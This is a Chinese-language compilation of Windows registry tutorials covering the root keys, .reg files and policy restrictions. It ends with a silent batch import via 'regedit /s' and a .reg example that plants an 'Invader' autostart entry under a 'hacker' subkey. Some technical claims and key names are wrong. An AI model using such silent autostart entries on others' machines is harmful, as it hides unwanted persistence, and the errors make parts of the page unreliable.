① 怎樣理解電腦中「注冊表」的工作原理
Windows注冊表入門
作者: 展翅的小龍
請跟隨我們再次回顧Windows中這個經常被誤解的部分,你將學到如何完全控制你的計算機。
對我們大多數人而言,注冊表就像我們汽車上的密封墊片:我們知道它在那裡,它至關重要而且我們感覺不到它的存在。就像一輛車的密封墊片如果不合適,那它就不能跑很遠,錯誤的注冊表可以終止Windows,甚至讓它無法啟動。但如果你知道你正在做什麼,注冊表會在高效處理方面成為你的重要的幫手。
該指南將告訴你該如何安全地編輯注冊表以個性化你的計算機。也就是說,要明白注冊表並不是Windows中可有可無的元素。一個錯誤的修改可以導致PC的崩潰,所以在你完整地讀完這篇指南之前請不要嘗試做任何修改。
即使目前你還缺乏做任何修改的自信,我們建議你往下讀,在理解了注冊表如何控制你的PC之後,將會擴展你各方面的計算機知識並且在以後可以幫助你修復各種問題。
並非所有修改都是好的
在我們開始之前,請允許我詳細敘述我們對注冊表進行修改的警告。注冊表中包含的大多數信息對平穩運行Windows至關重要,修改或刪除這些值會完全終止你的計算機。
另一項需要記住的重要事情是對注冊表的任何修改輸入之後,它們就開始發生作用。注冊表和Word文檔不一樣,Word是你必須選擇保存,而且也沒有撤銷功能。這里不是可以胡亂進行修補的地方,但是有一個很容易就實施的保險策略。和其他類型的數據一樣,注冊表信息可以被備份,創建一個拷貝從而如果出現問題就可以進行恢復。
實際上,注冊表非常重要,以至於Windows在每次開始的時候都會自動對它進行備份。Windows可以利用該備份自動修復某些問題,但你所做的多數修改都需要你自己來修復。
在進行修改之前,最簡單的保護自己的方法是創建一個系統恢復點,這讓注冊表在某個點建立單獨的、不可修改的記錄,如果需要你可以返回到這個點。
你或許還希望用筆和紙記下你對注冊表所作的所有修改。雖然計算機沒有完全停止工作,你可能想撤銷某些修改,而且很容易就可以實現這一點,只需通過快速查閱記錄,而不必恢復整個注冊表。
注冊表的任務是什麼?
考慮到這些警告,你可能奇怪注冊表真正做了什麼,以及為什麼所有人都想胡亂地修補它。它是所有和Windows以及你在計算機上安裝的軟體、硬體相關的設置和信息的一個中央記錄。在Windows 95之前,這些信息被保存在大量不同的文本文件當中。它們很容易被編輯,而你首先必須要找到它們,而且在你編程試圖和它們進行交互的時候經常會發生問題。
注冊表的一個好處是添加或刪除程序功能,這是開始菜單中控制面板功能的一部分。你安裝軟體的時候,在注冊表中做了一個記錄,所以在添加或刪除程序中作為一個專門列表的一部分出現。
注冊表的功能是什麼?
注冊表保存在你的硬碟的幾個文件當中,但訪問和修改它們的唯一途徑是使用注冊表編輯器程序。要訪問它,點擊開始按鈕,然後點擊運行。在出現的對話框中輸入regedit並按Enter鍵。這會進入注冊表編輯器,你現在就看到了注冊表。
注冊表組織得更像磁碟上的文件,如果你曾經在Windows瀏覽器中使用過文件夾視圖的話,你會根據很熟悉。然而在注冊表中,這些文件夾被稱為鍵。要打開某個鍵,只需點擊它旁邊的小加號(+)。然後你會看到每個鍵下包含更多的鍵,稱為子鍵或值。
這些數以千計的鍵根據邏輯進行排列,在你第一次看到注冊表的時候可能會使你感覺無從下手。要把頭緒理清楚,首先要知道有五個根鍵以及注冊表的基本組成結構。
值是指各種不同鍵的單獨設置,因此是可自定義的。它們在注冊表窗口左側以名稱排列,它們還說明了包含數據的類型以及數據本身。不用擔心使用的是哪種數據類型,因為這對數據本身是明顯的,或者在編輯過程中會作出解釋。
修改注冊表
你肯定已經對注冊表作過修改,但只是通過控制面板或安裝其它軟體這樣的間接途徑。第三方軟體也可以實現這一點,但你應該只使用那些值得信任的軟體。讓某個不知名的應用程序編輯注冊表可能會給間諜軟體留下後門。
一些可用的軟體提供了你在別的地方看不到的設置。Registry Mechanic就是這樣一個程序。其他諸如Norton SystemWorks這樣的工具可以掃描注冊表中不再需要並且可以刪除的鍵值。注冊表越龐大,你的計算機的運行就會變得越慢,所以SystemWorks非常有用。
間諜軟體通常在注冊表中建立鍵值以確保自己已經啟動以便在Windows開始的時候監視你的計算機。在尋找有關如何刪除這些程序的建議的時候,你可能會被告知需要編輯注冊表。請先確定該建議是來自某個可信賴的來源,例如Windows的注冊表指南或Systweak.com。
在有些時候,間諜軟體也安裝一個小程序以監視注冊表並且重新寫入你刪除的鍵值,所以你應該使用諸如Spybot Search and Destroy這樣的軟體完全地清理你的計算機。
你可以通過注冊表做些什麼
如果你了解了注冊表的基本工作原理,你可以很快地調整計算機的行為以適應你的個人需求。你還可以像在Internet Explorer中那樣在注冊表中設置收藏夾。如果你正在修改一個需要進行調整的設置,例如在下面例子中,你可以利用這個特性快速返回到你修改的值。
要設置收藏夾,點擊鍵,然後是收藏夾菜單並選擇添加收藏夾。給定一個名稱並點擊OK。回到這個鍵,你現在可以很容易地從收藏夾菜單中選擇收藏。
需要注意的是十進制和十六進制數之間的區別,同樣一個數字在這兩者中將產生不同的結果。這里的所有例子都使用十進制數。
掌握縮略圖
Windows可以在資源管理器的窗口中顯示圖像為縮略圖。如果你感覺這些縮略圖的大小或質量不是你喜歡的,你可以利用注冊表修改它們。首先,通過創建一個系統恢復點做一個文件備份。現在使用前面介紹的過程打開注冊表並且通過點擊「+」尋找到下面的鍵。
現在右擊資源管理器圖標,選擇New並點擊DWORD值。在看到NewValue1之後輸入文本ThumbnailQuality。你應該只能輸入源名稱;如果不是,點擊新鍵並按F2以編輯該名稱。右擊ThumbnailQuality並選擇修改。在出現的窗口中,輸入一個介於50到100的數字以指定縮略圖的質量。默認值是90。該數字越小,圖片顯示的速度會越快,但是圖片顯示的質量會越低。點擊十進制選項,然後點擊OK。
要改變縮略圖的大小,右擊資源管理器的圖標,選擇New並點擊DWORD值。命名新的值ThumbnailSize,右擊它並選擇修改。輸入一個數字以設置你希望每個縮略圖使用的象素數量。默認值是96。點擊十進制選項,然後點擊OK。在這些修改生效前,你可能需要重新啟動計算機。
清除IE歷史web站點
盡管我們可以在Internet Explorer中刪除你曾經訪問過的web站點的歷史列表,但系統仍然保存著它們並且當你在地址欄中輸入相同的名稱時自動顯示它們。這個列表被保存在注冊表中,如果你願意你可以刪除它。
點擊開始按鈕,然後點擊運行,在窗口中輸入regedit並按enter鍵。接著查找鍵「HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs」。在右邊的窗格中,你將看到曾經訪問的所有web站點的列表。要刪除該列表中的web站點,點擊每一行並按Del鍵。點擊Yes,該記錄將被刪除。
禁用任務管理器
在處理沒有響應的程序時,任務管理器非常有用,但是有時候你可能希望防止其他人使用它,以避免他們停止某個關鍵的程序,例如你正在運行的病毒掃描器。但是需要了解的是,因為你可以停止任何正在運行的程序,所以稍不注意就很容易導致Windows崩潰。你可以通過下面的方法修改注冊表,禁止其他人訪問任務管理器:
點擊開始按鈕,然後是運行。在接下來的窗口中輸入regedit並按Enter鍵。找到下面的鍵:『HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\System』。你需要創建一個System鍵。右擊Policies,選擇New,然後點擊Key。輸入鍵的名字System。
右擊System鍵,選擇New,然後點擊DWORD值。輸入值的名稱為DisableTaskMgr。如果你無法輸入名稱,左擊新的值並在輸入新的名稱之前按F2鍵。右擊它並選擇修改。在值的數據對話框中輸入1,選擇十進制選項並點擊OK。
現在,如果某人通過按下Ctrl+Alt+Del試圖打開任務管理器,他們將收到一條消息,告訴他們這已經被禁止了。如果你的計算機上的用戶不止一個,你就必須以每個帳戶登錄,然後重復這個過程。
小心對待它
我們已經用一些例子說明了你可以利用注冊表做些什麼。隨著你更多地學習,你會發現了解你的計算機是如何與注冊表相結合是一個很有用的工具,從長遠的觀點來看會增強你的自信。
通過下面的指導,我希望你能夠獲得對你的計算機的進一步的理解。需要記住的是,一定要盡可能心懷敬意地對待注冊表並且在做修改的時候小心謹慎。一定要先做一個備份並且只在你確切地知道它們是什麼以及它們是做什麼的時候才修改或添加值。
去了解更多
有大量的web站點介紹如何編輯注冊表以及注冊表能做些什麼。如果你不確定某個特定的修改,你可以到互聯網的論壇上和其他用戶進行討論,例如Computeractive論壇。
要想獲得更多對注冊表進行修改的例子,請查看WinGuides Network for Windows。每項技巧都有你需要修改的鍵和值的截屏以及它們的外部特徵。你也可以下載WinGuides Tweak Manager,它無需使用注冊表就可以應用這些修改。
如果你覺得有足夠的把握,請查看Windows XP的The Elder Geek。該站點有大量的建議,並且即使你不是在尋找特定的注冊表編輯,你或許會發現你希望進行的修改,而你一直不知道該如何實現。
簡單Windows注冊表技巧
作者 展翅的小龍
一、限制控制面板
1. 打開注冊表 中的主鍵[HKEY_USERS\「用戶名」\Software\Microsoft\Windows\CurrenVersion\Policies\System](「用戶名」指建立了多用戶的系統中,相應的用戶的名稱,如果未建立多用戶則為「.Default」),其下如果有下列DWORD值,則該用戶的相應的控制面板項被禁止:
「NoDispAppearancePage」=1(禁用「顯示器」屬性)
「NoDispBackgroundPage」=1(隱藏「顯示器」屬性中的「背景」頁)
「NoDispCPL」=1(隱藏「顯示器」屬性中的「屏幕保護程序」頁)
「NoDispScrSavPage」=1(隱藏「顯示器」屬性中的「外觀」頁)
2.[ HKEY_USERS\用戶名\Software\Microsoft\Windows\CurrentVersion\Policies\Network]下如有下列DWORD值,則該用戶相應的控制面板項被限制:
「NoNetSetup」=1(禁用「網路」屬性)
「NoNetSetupIDPage」=1(隱藏「網路」屬性中的「標識」頁)
「NoNetSetupSecurityPage」=1(隱藏「網路」屬性中的「訪問控制」頁)
3.[HKEY_USERS\用戶名\Software\Microsoft\Windows\CurrentVersion\Policies\System]下如有下列DWORD值,則該用戶相應的控制面板項被限制:
「NoSecCPL」=1(禁用「密碼」屬性)
「NoPwdPage」=1(隱藏「密碼」屬性中的「更改密碼」頁)
「NoAdminPage」=1(隱藏「遠程管理」頁)
「NoProfilePage」=1(隱藏「系統」屬性中的「用戶配置文件」頁)
「NoDevMgrPage」=1(隱藏「系統」屬性中的「設備管理」頁)
「NoConfigPage」=1(隱藏「系統」屬性中的「硬體配置文件」頁)
「NoFileSysPage」=1(隱藏「系統」屬性「性能」頁中的「文件系統」按鈕)
「NoVirtMemPage」=1(隱藏「系統」屬性「性能」頁中的「虛擬內存」按鈕)
二、限制開始菜單
如果在[HKEY_USERS\「用戶名」\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]下有DWORD值「NoRun」=1時,則該用戶的開始菜單中的「運行」命令被禁止;
如果有DWORD值「NoSetFolders」=1時,則該用戶的開始菜單中的「設置\文件夾選項」命令被禁止;
如果有DWORD「NoSetTaskbar」=1時,則該用戶的開始菜單中的「設置\任務欄和開始菜單」命令被禁止;
如果有DWORD值「NoFind」=1時,則該用戶的開始菜單中的「查找」命令被禁止; 如果有DWORD值「NoStartMenuSubFolders」=1,則該用戶「開始」菜單中的子文件夾被隱藏;
如果有DWORD值「NoClose」=1時,則該用戶的開始菜單中的「關閉系統」命令被禁止;
三、網路和用戶設置
1.如果在[HKEY_USERS\「用戶名」\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]下有DWORD值「NoDrives」=1時,則該用戶「我的電腦」中的所有驅動器被隱藏;
如果有DWORD值「NoNetHooD」=1時,則該用戶的「網上鄰居」被隱藏;
如果有DWORD值「NoEntioeNetwork」=1時,則該用戶的「網上鄰居」中 「整個網路」 被隱藏;
如果有字元串值「NoWorkgroupContents」=1時,則該用戶的「網上鄰居」中工作組目錄被隱藏;
如果有DWORD值「NoDesktop」=1時,則該用戶的桌面上所有的程序組被隱藏(即沒有桌面);
如果有DWORD值「NoSaveSettings」=1時,則該用戶退出系統時所作的設置不被保存。
2.撥號網路和共享設置:在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Policies\Network]下建立以下DWORD值,則相應的限制有效:
「NoDialIn」=1(禁止撥入)
「NoFileSharing」=1(禁用文件共享)
3.只運行允許的Windows程序的列表:
[HKEY_USERS\「用戶名」\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]下如有主鍵「RestrictRun」,則其下的字元串值表示允許該用戶只能運行的Windows程序的列表。
四、口令設置
在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]下建立以下DWORD值,則相應的設置有效:
「HideSharePwds」=1(使用星號(*)隱藏共享口令)
「DisablePwdCaching」=1(禁用口令緩存;注意!請慎用此項設置,此時控制面板中的「密碼」屬性中無法更改密碼,登錄時該用戶使用任何一個密碼或不用密碼就可以登錄。)
「AlphanumPwds」=1(使Windows口令必須為數字和字母)
「MinPwdLen」=n(設置Windows口令的最小長度,n大於等於0小於等於8)
五、禁用注冊表編輯器
[HKEY_USERS\「用戶名」\Software\Microsoft\Windows\CurrentVersion\Policies\System\]下如果有DWORD值「DisableRegstryTools」=1,則禁止該用戶使用注冊表編輯工具。
六、禁用「MSDOS」方式、禁用單一模式的MSDOS應用程序
[HKEY_USERS\『用戶名』\Software\Microsoft\Windows\CurrentVersion\Policies\System]下如果有主鍵「WinOldApp」其下有DWORD值「Disabled」=1,則該用戶的「MSDOS」方式被禁止;「WinOldApp」下如有DWORD值「NoRealMode」=1,則該用戶單一模式的MSDOS應用程序被禁用。
七、自啟動的程序
[HKEY_LOCAL_MACHINE\SOFTWARE\Mic rosoft\Windows\CurrentVersion\Run]其下的字元串值表示通過注冊表自啟動的程序;
[HKEY_LOCAL_MACHINE\SOFTWARE\Mic rosoft\Windows\CurrentVersion\RunOnce]其下的字元串值表示只自啟動一次的程序;
[HKEY_LOCAL_MACHINE\SOFTWARE\Mic rosoft\Windows\CurrentVersion\RunServices]其下的字元串值表示通過注冊表自啟動的服務程序;
[HKEY_LOCAL_MACHINE\SOFTWARE\Mic rosoft\Windows\CurrentVersion\RunServicesOnce]其下的字元串值表示只啟動一次的服務程序。
由此,我們可以看出上面所有的DWORD值,如果其值為「1」時表示該值有效,其值為「0」時表示該值無效;我們可以通過改變DWORD值或刪除該DWORD,來輕松地使相應的限制有效或無效。(小鳳居-吳聞)
Windows XP注冊表技巧十則
作者: 展翅的小龍
1、XP中讓程序開機即運行的新方法
點擊「開始」菜單中的「運行」,在打開的「運行」對話框中輸入「Regedit」,打開注冊表編輯器。順次展開注冊表到HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows下,在這里新建一個字元串值,方法是右擊主鍵「Windows」,在彈出的菜單中選擇「新建」→「串值」,把該字元串值命名為「load」。然後,雙擊「load」,在彈出的窗口中將它的鍵值改為你想開機就自動運行的程序路徑。要注意的是應該使用文件的短文件名,即「C:\Program Files」應該寫為「C:\Progra~1」。
2、屏蔽系統中的熱鍵
點擊「開始」→「運行」,輸入Regedit,打開注冊表編輯器。然後依次打開到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,新建一個雙位元組值,鍵名為「NoWindows Keys」,鍵值為「1」,這樣就可以禁止用戶利用系統熱鍵來執行一些禁用的命令。如果要恢復,只要將鍵值設為0或是將此鍵刪除即可。
3、關閉不用的共享
安全問題一直為大家所關注,為了自己的系統安全能夠有保證,某些不必要的共享還是應該關閉的。用記事本編輯如下內容的注冊表文件,保存為任意名字的.Reg文件,使用時雙擊即可關閉那些不必要的共享:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
"AutoShareServer"=dword:00000000
"AutoSharewks"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"restrictanonymous"=dword:00000001
4、修改服務名稱和解釋
在注冊表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下的次級主鍵就是各個服務,選中任何一個次級主鍵,在右邊可以看到DisplayName和Description兩個字元串,DisplayName就是在「管理工具→服務」裡面顯示的名字,Description就是對應服務的描述。二者可以任意修改,但是次級主鍵名和其他的不能亂動。
5、取消磁碟空間不夠警告提示
Windows XP會自動監控磁碟空間剩餘量,一旦磁碟空間不足的話,會提示你並掛起系統還原功能。如果要取消的話,就打開注冊表編輯器,找到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,新建一個Dword值NoLowDiskSpaceChecks,然後修改為1即可。
6、自動關閉停止響應的程序
在Windows XP操作系統中,我們可以通過修改注冊表,使Windows XP診測到某個應用程序已經停止響應時就自動關閉它,這樣就不需要手工干預了。想要實現這個功能,請點擊「開始」→「運行」輸入RegEdit,打開注冊表編輯器,依次展示HKEY_CURRENT_USER\Control Panel\Desktop\Auto End Tasks,將其鍵值改為1即可。
7、讓「我的電腦」和「我的文檔」「乾坤倒掛」
Win2000以下版本的視窗操作系統的「我的電腦」的圖表都是放在「我的文檔」之上的,到了Win2000及其以後操作系統則正好相反。在Windows XP中,我們可以利用修改注冊表來把「我的電腦」圖標放在「我的文檔」之上,具體操作步驟如下:在注冊表中找到HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103},然後新建Dword值「SortOrderIndex」,並修改其鍵值為「54」(16進制)。如果要把「我的文檔」放在首位的話,只需要修改「SortOrderIndex」的鍵值為48(16進制)即可。
8、每次啟動時保持桌面設置不變
我們可以通過修改注冊表來保護我們的桌面設置,無論做了什麼樣的修改,只要重新啟動之後桌面就會恢復原樣。步驟如下:打開注冊表編輯器,找到HKEY_CURRENT_USERS\Software\Microsoft\Windows\CurrentVersion\Polices\Explorer子鍵分支,在它的下面找到NoSaveSettings,其類型為REG_SZ,將其鍵值改為「0」,或者直接刪除該鍵值項,重新啟動系統使設置生效。
9、禁止IE下載文件
在有些公用電腦上需要禁止下載文件功能,雖然某些管理軟體可以做到這一點,但安裝調試這類軟體實在是太麻煩了。其實在注冊表中稍作修改就可以滿足大家的要求了。打開注冊表編輯器,找到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3,然後在右邊找到1803這個DWORD值,將其鍵值修改為3即可。重新啟動IE看看還能不能夠下載的?如果要取消限制的話,只需要還原DWORD值為0即可。
10、讓IE支持多線程下載
一般情況下,大家都使用多線程下載軟體如Flashget等下載文件,其實IE也可以支持多線程下載的,只是微軟將這個功能給藏了起來。我們把它給挖出來就可以使用了。打開注冊表編輯器,在注冊表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings下新建雙位元組值項「MaxConnectionsPerServer」,它決定了最大同步下載的連線數目,一般設定為5~8個連線數目比較好。另外,對於HTTP 1.0伺服器,可以加入名為「MaxConnectionsPer1_0Server」的雙位元組值項,它也是用來設置最大同步下載的數目,也可以設定為5~8
② 電腦的注冊表編輯器怎麼打開
按鍵盤上的win+r,在運行中輸入regedit,回車進入注冊表編輯器。
③ 如何做注冊表項
1.打開如圖的注冊表項請右鍵-打開方式-記事本。 雙擊則是執行。
2.用記事本打開後即可進行修改。
3.用記事本就可以做,新建記事本,開頭加上 Windows Registry Editor Version 5.00 ,換行寫指令。寫完保存,把記事本的文本文檔後綴名 .txt 改為 .reg ,指令格式較繁瑣,請網路查閱。
如果是要打開注冊表編輯器請在這里 開始-運行-輸入regedit-回車。
找到自己想修改的項,右鍵點擊即可修改。
可以用搜索,快速定位指定項或關鍵字。
④ 怎麼進行注冊表編程再導入到注冊表裡呀
1:可能是某些程序正在使用注冊表(比如瑞星軟體、注冊表監控等),關掉它們,再導入試試。
2:到安全模式導入。
3:還不行,就進入DOS,輸入:scanreg.exe然後選擇「view backup",選擇一個注冊表導入。
⑤ 注冊表怎麼學啊
從Windows 95開始,Microsoft在Windows中引入了注冊表(英文為REGISTRY)的概念(實際上原來在Windows NT中已有此概念)。注冊表是Windows 95及Windows 98的核心資料庫,表中存放著各種參數,直接控制著Windows的啟動、硬體驅動程序的裝載以及一些Windows應用程序運行的正常與否,如果該注冊表由於鞭種原因受到了破壞,輕者使Windows的啟動過程出現異常,重者可能會導致整個Windows系統的完全癱瘓。因此正確地認識、修改、及時地備份以及有問題時恢復注冊表,對Windows用戶來說就顯得非常重要了。
★如何打開注冊表?(在修復注冊表前請備份)
點「開始」→運行→輸入「regedit」→確定
★一、注冊表的結構劃分及相互關系
WINDOWS的注冊表有六大根鍵,相當於一個硬碟被分成了六個分區。
在「運行」對話框中輸入RegEdit,然後單擊「確定」按鈕,則可以運行注冊表編輯器。
Windows 98中文版的注冊表Registry(System.dat、User.dat、Config.pol)的數據組織結構。
注冊表的根鍵共六個。這些根鍵都是大寫的,並以HKEY_為前綴;這種命令約定是以Win32 API的Registry函數的關鍵字的符號變數為基礎的。
雖然在注冊表中,六個根鍵看上去處於一種並列的地位,彼此毫無關系。但事實上,HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG中存放的信息都是HKEY_LOCAL_MACHINE中存放的信息的一部分,而HKEY_CURRENT_USER中存放的信息只是HKEY_USERS存放的信息的一部分。
HKEY_LOCAL_MACHINE包括HKEY_CLASSES_ROOT和HKEY_CURRENT_USER中所有的信息。在每次系統啟動後,系統就映射出HKEY_CURRENT_USER中的信息,使得用戶可以查看和編輯其中的信息。
實際上,HKEY_LOCAL_MACHINE\SOFTWARE\Classes就是HKEY_CLASSES_ROOT,為了用戶便於查看和編輯,系統專門把它作為一個根鍵。同理,HKEY_CURRENT_CONFIG\SY-STEM\Current Control就是HKEY_LOCAL_MACHINE\SYSTEM\Current Control。
HKEY_USERS中保存了默認用戶和當前登錄用戶的用戶信息。HKEY_CURRENT_USER中保存了當前登錄用戶的用戶信息。
HKEY_DYN_DATA保存了系統運行時的動態數據,它反映出系統的當前狀態,在每次運行時都是不一樣的,即便是在同一台機器上。
根據上面的分析,注冊表中的信息可以分為HKEY_LOCAL_MACHINE和HKEY_USERS兩大類,這兩大類的詳細內容請看後面的介紹。
★二、六大根鍵的作用
在注冊表中,所有的數據都是通過一種樹狀結構以鍵和子鍵的方式組織起來,十分類似於目錄結構。每個鍵都包含了一組特定的信息,每個鍵的鍵名都是 和它所包含的信息相關的。如果這個鍵包含子鍵,則在注冊表編輯器窗口中代表這個鍵的文件夾的左邊將有「+」符號,以表示在這個文件夾中有更多的內容。如果這個文件夾被用戶打開了,那麼這個「+」就會變成「-」。
1.HKEY_USERS
該根鍵保存了存放在本地計算機口令列表中的用戶標識和密碼列表。每個用戶的預配置信息都存儲在HKEY_USERS根鍵中。HKEY_USERS是遠程計算機中訪問的根鍵之一。
2.HKEY_CURRENT_USER
該根鍵包含本地工作站中存放的當前登錄的用戶信息,包括用戶登錄用戶名和暫存的密碼(註:此密碼在輸入時是隱藏的)。用戶登錄Windows 98時,其信息從HKEY_USERS中相應的項拷貝到HKEY_CURRENT_USER中。
3.HKEY_CURRENT_CONFIG
該根鍵存放著定義當前用戶桌面配置(如顯示器等)的數據,最後使用的文檔列表(MRU)和其他有關當前用戶的Windows 98中文版的安裝的信息。圖5為HKEY_CURRENT_CONFIG子關鍵字之間的連接情況。
4.HKEY_CLASSES_ROOT
根據在Windows 98中文版中安裝的應用程序的擴展名,該根鍵指明其文件類型的名稱。
在第一次安裝Windows 98中文版時,RTF(Rich Text format)文件與寫字板(WordPad)&127;聯系起來,但在以後安裝了中文Word 6.0後,雙擊一個RTF文件時,將自動激活Word。存放在SYSTEM.DAT中的HKEY_CLASSES_ROOT,將替代WIN.INI文件中的[Extensions]&127;小節中的設置項,它把應用程序與文件擴展名聯系起來,它也替代了Windows 3.x中的Reg.dat文件中的相似的設置項。
5.HKEY_LOCAL_MACHINE
該根鍵存放本地計算機硬體數據,此根鍵下的子關鍵字包括在SYSTEM.DAT中,用來提供HKEY_LOCAL_MACHINE所需的信息,或者在遠程計算機中可訪問的一組鍵中。
該根鍵中的許多子鍵與System.ini文件中設置項類似。圖7顯示了HKEY_LOCAL_MACHINE根鍵下的各個子鍵之間的情況。
6.HKEY_DYN_DATA
該根鍵存放了系統在運行時動態數據,此數據在每次顯示時都是變化的,因此,此根鍵下的信息沒有放在注冊表中。圖8顯示了HKEY_DYN_DATA根鍵下的各個子鍵的情況。
★三、注冊表部分重要內容
注冊表是一個大型資料庫Registry。要詳細地分析該資料庫,不是一兩頁就能介紹完。我曾經用了半年多時間分析此資料庫結構。下面只介紹部分重要內容。
(一)HKEY_CLASS_ROOT
1.HKEY_CLASS_ROOT/Paint.Pricture/DefaultIcon雙擊窗口右側的默認字元串,在打開的對話框中刪除原來的「鍵值」,輸入%1。重新啟動後,在「我的電腦」中打開Windows目錄,選擇「大圖標」,然後你看到的Bmp文件的圖標再也不是千篇一律的MSPAINT圖標了,而是每個Bmp文件的略圖(前提是未安裝ACDSee等看圖軟體)。
(二)HKEY_CURRENT_USER
1.HKEY_CURRENT_USER\Control Panel\Desktop 中新建串值名MenuShowDelay=0 可使「開始」菜單中子菜單的彈出速度提高。
2.在HKEY_CURRENT_USER\Control Panel\Deskt-op\WindowsMeterics中新建串值名MinAnimate,值為1啟動動畫效果開關窗口,值為0取消動畫效果。
(三) HKEY_LOCAL_MACHINE
1.HKEY_LOCAL_MACHINE\software\microsoft\windows\currentVersion\explorer\user shell folders 保存個人文件夾、收藏夾的路徑。
2.HKEY_LOCAL_MACHINE\system\currentControl-Set\control\keyboard Layouts 保存鍵盤使用的語言以及各種中文輸入法。
3.HKEY_LOCAL_MACHINE\software\microsoft\windows\currentVersion\uninstall 保存已安裝的Windows應用程序卸載信息。
4.HKEY_LOCAL_MACHINE\system\CurrentControl-Set\services\class 保存控制面板-增添硬體設備-設備類型目錄。
5.HKEY_LOCAL_MACHINE\system\Current-ControlSet\control\update 設置刷新方式。值為00設置為自動刷新,01設置為手工刷新[在資源管理器中按F5]。
6.HKEY_LOCAL_MACHINE\software\microsoft\win-dows\currentVersion\run 保存由控制面板設定的計算機啟動時運行程序的名稱,其圖標顯示在任務條右邊。在「啟動」文件夾程序運行時圖標也在任務條右邊。
7.HKEY_LOCAL_MACHINE\software\microsoft\windows\currentVersion\Policies\Ratings 保存IE4.0中文版「安全」\「分級審查」中設置的口令(數據加密),若遺忘了口令,刪除 Ratings 中的數據即可解決問題。
8.HKEY_LOCAL_MACHINE\software\microsoft\windows\currentVersion\explorer\desktop\nameSpace 保存桌面中特殊的圖標,如回收站、收件箱、MS Network等。
(四) HKEY_USERS
1.HKEY_USERS\.Default\software\microsoft\internet explorer\typeURLs保存IE4.0瀏覽器地址欄中輸入的URL地址列表信息。清除文檔菜單時將被清空。
2.HKEY_USERS\.Default\so..\mi..\wi..\current-Version\ex..\menuOrder\startMenu保留程序菜單排序信息。
3.HKEY_USERS\.Default\so..\microsoft\windows\current-Version\explorer\RunMRU保存「開始 \ 運行...」中運行的程序列表信息。清除文檔菜單時將被清空。
4.HKEY_USERS\.Default\so..\microsoft\windows\current-Version\explorer\RecentDocs 保存最近使用的十五個文檔的快捷方式(刪除掉可解決文檔名稱重復的毛病),清除文檔菜單時將被清空。
5.HKEY_USERS\.default\software\microsoft\windows\currentVersion\applets 保存Windows應用程序的記錄數據。
6.HKEY_USERS\.default\software\microsoft\windows\currentVersion\run保存由用戶設定的計算機啟動時運行程序的名稱,其圖標顯示在任務條右側。
注冊表通過鍵和子鍵來管理各種信息。但是,注冊表中的所有信息是以各種形式的鍵值項數據保存下來。在注冊表編輯器右窗格中,保存的都是鍵值項數據。這些鍵值項數據可分為如下三種類型:
1.字元串值
在注冊表中,字元串值一般用來表示文件的描述、硬體的標識等。通常它由字母和數字組成,最大長度不能超過255個字元。在圖9所示中,「D:\pwin98\trident」即為鍵值名「a」的鍵值,它是一種字元串值類型的。同樣地,「ba」也為鍵值名「MRUList」的鍵值。通過鍵值名、鍵值就可以組成一種鍵值項數據,這就相當於Win.ini、Ssyt-em.ini文件中小節下的設置行。其實,使用注冊表編輯器將這些鍵值項數據導出後,其形式與INI文件中的設置行完全相同。
2.二進制值
在注冊表中,二進制值是沒有長度限制的,可以是任意個位元組長。在注冊表編輯器中,二進制以十六進制的方式顯示出來,如圖10所示。 在圖10中,鍵值名Wizard的鍵值「80 00 00 00」就是一個二進制。在如圖11所示的「編輯二進制值」對話框時,在編輯框的左邊輸入十六進制數時,其右邊將會顯示相應的ASCII碼。
3.DWORD值
DWORD值是一個32位(4個位元組,即雙字)長度的數值。在注冊表編輯器中,您將發現系統會以十六進制的方式顯示DWORD值,如圖12所示。在編輯DWORD數值時,可以選擇用十進制還是16進制的方式進行輸入。
⑥ 用批處理修改注冊表
選擇【開始】→【運行】命令,在【運行】對話框的【打開】文本框中輸入「regedit.exe」,單擊【確定】按鈕,運行注冊表編輯器,依次打開以下鍵:
HKEY_CURRENT_USER\Software\Policies\Microsoft\System
在右邊的窗口中新建一個DWORD值,其名稱為DisableCMD,設數值數據為2,則表示命令提示符程序和批處理文件都不能被運行,其值為1,則只是禁止命令提示符的運行。
示例:
echo REGEDIT4>iedown.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]>>iedown.reg
echo "1803"=dword:00000000>>iedown.reg
以上生成REG文件.
regedit /s iedown.reg
del iedown.reg
運行REG後刪除之.
還可以:寫一個注冊表文件,放在一個位置..
然後批處理導入:
@echo off
regedit /s 注冊表文件路徑
exit
說明:/s是不彈出確認提示直接導入
先學習一下如何使用.REG文件來操
作注冊表.(我們可以用批處理來生成一個REG文件)
關於注冊表的操作,常見的是創建、修改、刪除。
1.創建
創建分為兩種,一種是創建子項(Subkey)
我們創建一個文件,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字為"hacker"的子項。
另一種是創建一個項目名稱
那這種文件格式就是典型的文件格式,和你從注冊表中導出的文件格式一致,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
